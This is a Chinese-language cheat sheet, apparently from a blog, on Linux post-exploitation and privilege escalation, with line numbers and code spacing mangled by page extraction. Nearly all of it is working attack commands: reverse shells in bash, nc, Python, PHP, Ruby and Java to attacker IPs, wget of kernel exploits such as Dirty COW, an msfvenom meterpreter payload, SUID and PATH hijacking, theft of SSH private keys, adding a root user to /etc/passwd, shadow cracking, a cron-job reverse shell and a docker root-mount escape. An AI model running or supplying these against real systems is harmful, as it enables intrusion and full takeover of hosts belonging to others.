基础知识 常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 uname -a head -n 1 /etc/issue cat /proc/version hostname env ifconfig netstat -lntp netstat -antp netstat -s iptables -L route -n ps -ef top w id last cut -d: -f1 /etc/passwd cut -d: -f1 /etc/group crontab -l chkconfig –list chkconfig –list | grep on echo $PATH
反弹shell 使用nc对本地端口监听
bash反弹 1 2 bash -i >& /dev/tcp/ip_address/port 0 >&1 bash -c "bash -i >& /dev/tcp/192.168.205.78/6666 0>&1"
nc反弹 1 2 3 nc -e /bin/sh 192.168.2.130 4444 但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
python 1 2 3 4 5 6 7 8 import socket,subprocess,os s =socket.socket (socket.AF_INET ,socket.SOCK_STREAM) s.connect (( "192.168.1.12" , 4444 )) os.dup2 (s.fileno (), 0 ) os.dup2 (s.fileno (), 1 ) os.dup2 (s.fileno (), 2 )p = subprocess.call ([ "/bin/bash" , "-i" ] )
php 1 php -r '$sock =fsockopen("192.168.2.130" ,4444 );exec ("/bin/sh -i <&3 >&3 2>&3" );'
ruby 1 2 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java 1 2 3 4 5 r = Runtime.getRuntime() p = r.exec(["/bin/bash" ,"-c" ,"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line ; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm 1 xterm -display 10.0.0.1:1
python调用本地shell实现交互式命令行 1 2 python -c 'import pty;pty.spawn("/bin/bash" )' python3 -c 'import pty;pty.spawn("/bin/bash" )'
Linux反弹shell解决乱码 切换bash
ctrl+z 放置后台任务 设置原始格式
fg再调用后台任务
LINUX 内核漏洞提权 内核溢出提权 利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。
1 2 3 4 5 uname -acat /proc/versioncat /etc/issuecat /etc/redhat-release lsb_release -a
根据linux的内核版本去找对应的exp
1 2 3 searchsploit -t Ubuntu 14 .04 searchsploit -s Ubuntu 14 .04 searchsploit -s Linux Kernel 3 .13 .0
拿shell
1 bash -c "bash -i >& /dev/tcp/192.168.1.10/7777 0>&1"
查看信息
1 2 3 uname -acat /proc/versioncat /etc/issue
搜索漏洞
1 2 searchsploit -s 3 .19 searchsploit -x linux/local/37292 .c
将exp放在服务器路径
shell进行wget下载
1 wget http://192.168.1.10 /37292 .c /tmp/37292 .c
gcc编译,也可本地编译传至服务器
添加执行权限
执行
成功提取
脏牛提权 CVE-2016-5195 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以 破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。
1 2 测试环境 ubuntu 14.04 exp 下载 https:
在靶场上新建普通用户 xiaowu 密码 123456
获取普通shell后wget下载exp
添加权限
执行
1 ./dirtycow /etc/group "$(sed '/\( sudo*\) / s/$/,xioawu/' /etc/group)"
提权成功
1 2 3 4 5 验证:grep '^sudo' /etc/groupsudo -i 或sudo su - 切换root
反弹shell
生成攻击载荷
1 2 3 msfvenom -p php/meterpreter_reverse_tcp LHOST =192.168.1.10 LPORT =12345 -f raw > /var/www/html/shell.php
本地监听
1 2 3 4 5 use exploit/multi/handlerset payload php/meterpreter_reverse_tcpset lhost 192.168.1.10set lport 12345 exploit
命令执行下载payload
1 file_put_contents('msf.php',file_get_contents('http://192 .168.1 .10 /shell.php'))
1 2 file_get_contents('msf.php',file_get_contents('http://192 .168.1 .10 /shell.php')) echo file_get_contents('http://192 .168.1 .10 /shell.php')
提权
使用模块查询漏洞
1 run post/multi/recon/local_exploit_suggester
shell 使用终端
1 2 3 4 5 python3 -c 'import pty;pty.spawn("/bin/bash")' wget http: gcc 37292. c -o exp chmod +x exp ./exp
提权成功
suid提权 SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。
常见suid提权文件
1 nmap 、vim 、find 、more、less、bash、cp 、Nano、mv、awk、man、weget
以下命令可以发现系统上运行的所有SUID可执行文件
1 2 3 4 5 6 7 8 9 10 find / -perm -u =s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)
根据结果搜索
执行
1 find . -exec /bin/sh -p \; -quit
提权成功
环境劫持提权 环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
寻找suid文件
1 find / -perm -u =s -type f 2>/dev/null
shell脚本里有ps命令,且加了suid
如果能劫持环境变量执行自定义的ps,那么运行后就会获得suid权限也就是相当于root执行
当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目 录的ps文件作为命令
1 2 3 4 5 6 7 cd /tmpecho "/bin/bash" > pschmod 777 psecho $PATH export PATH=/tmp:$PATH cd /script ./shell
1 2 3 4 5 6 7 8 9 10 11 定时任务:root 执行 /script/shell ↓ shell 调用 ps 命令 ↓ 系统在 PATH 中查找 ps ↓ /tmp 在 PATH 最前面 → 找到 /tmp/ps ↓ /tmp/ps 实际是 /bin/bash → 启动 shell ↓ 因为是 root 执行的 → 你得到 root shell !
ssh密钥提权 1 cat /etc/passwd | grep bash
查看隐藏文件
进入.ssh,复制私钥
保存到本地,加600权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ----- ----- + + + + + + + + + + + + + + + + + + + + + + ----- ----- >
ssh登录
1 ssh -i id_rsa web1@192 .168.1.14
passwd提权 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
1 2 openssl passwd -1 -salt hacker 123456 $1 $hacker $6 luIRwdGpBvXdP.GMwcZp/
保存靶机的passwd文件,将其追加到/etc/passwd文件中
1 hacker: $1 $hacker $6luIRwdGpBvXdP .GMwcZp /: 0 : 0 :/root :/bin/bash
kali开启http服务,靶机下载并覆盖原本的passwd文件
1 wget http:// 192.168 .1.12 /passwd -O / etc/passwd
然后登录即可
john破解shadow root密文 当shadow文件可读,使用john爆破密文
1 john --wordlist= "/usr/share/wordlists/rockyou.txt" userpassw
计划任务反弹shell提权 当获取一个linux普通用户的时,查看计划任务
查看当前用户任务
/var/spool/cron/crontabs/root这个目录是root任务文件 默认仅root可读
查看日志文件
发现/script/cleanup.py每分钟执行一次,且为root执行
备份cleanup.py,并写入反弹shell命令
python 反弹shell
1 2 3 4 5 6 7 import socket,subprocess,os s =socket.socket (socket.AF_INET ,socket.SOCK_STREAM) s.connect (( "192.168.1.12" , 4444 )) os.dup2 (s.fileno (), 0 ) os.dup2 (s.fileno (), 1 ) os.dup2 (s.fileno (), 2 )p = subprocess.call ([ "/bin/bash" , "-i" ] )
信息收集工具 LinEnum https://github.com/rebootuser/LinEnum
1 wget -O - http://192.168.1.12/LinEnum.sh | bash
linuxprivchecker python3版本
https://github.com/swarley7/linuxprivchecker
1 python3 linuxprivchecker.py
linux-exploit-suggester2 https://github.com/jondonas/linux-exploit-suggester-2
1 perl linux-exploit-suggester-2 .pl
docker提权 docker是一个容器 可以在同一台机子虚拟多台服务。
1 2 3 4 5 6 7 8 9 10 11 镜像 = 应用安装包(apk / exe) 拉取镜像 = 从应用商场下载应用 容器 = 安装并运行的应用 容器实例 = 应用的多个分身/运行实例 保存镜像到本地 = 把 apk 安装包保存在手机里 访问容器 = 打开应用界面或提供服务
通过命令id 和group 查询当前用户是否处于docker组
输入命令下载使用容器把容器的目录挂载到宿主的根目录
1 docker run -v /:/mnt -it alpine
访问宿主的/etc/shadow
cat /mnt/etc/shadow
sudo提权 1 2 sudo -l 查看当前用户权限sudo -i 切换root shell
切换用户 1 2 3 4 5 6 7 8 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main (int argc,char *argv[]) { setreuid(1001 ,1001 ); execve("/bin/bash" ,NULL ,NULL ); }
编译,运行
参考链接 suid提权
https://www.cnblogs.com/hgschool/p/17030085.html
劫持环境变量
https://blog.csdn.net/ON_Zero/article/details/130544124